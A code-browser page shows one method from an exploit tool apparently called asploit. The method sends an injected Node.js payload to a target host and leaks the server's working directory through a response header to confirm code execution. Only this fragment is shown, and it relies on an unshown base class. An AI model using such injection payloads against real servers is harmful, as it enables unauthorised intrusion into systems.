MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__make_connection

Method _Base__make_connection

src/NodeExploitProcessor.py:25–33  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

23 @brief See base class for details.
24 """
25 def _Base__make_connection(self):
26 try:
27 return self._Base__send_message(
28 f"r.setHeader('{self.header}', process.cwd());"
29 f"r.end();")
30 except:
31 raise CommandException(f"Unable to exploit host. Make sure the "
32 f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, "
33 f"and METHOD are correct.")
34
35 """
36 @brief See base class for details.

Callers

nothing calls this directly

Calls 2

_Base__send_messageMethod · 0.95
CommandExceptionClass · 0.85

Tested by

no test coverage detected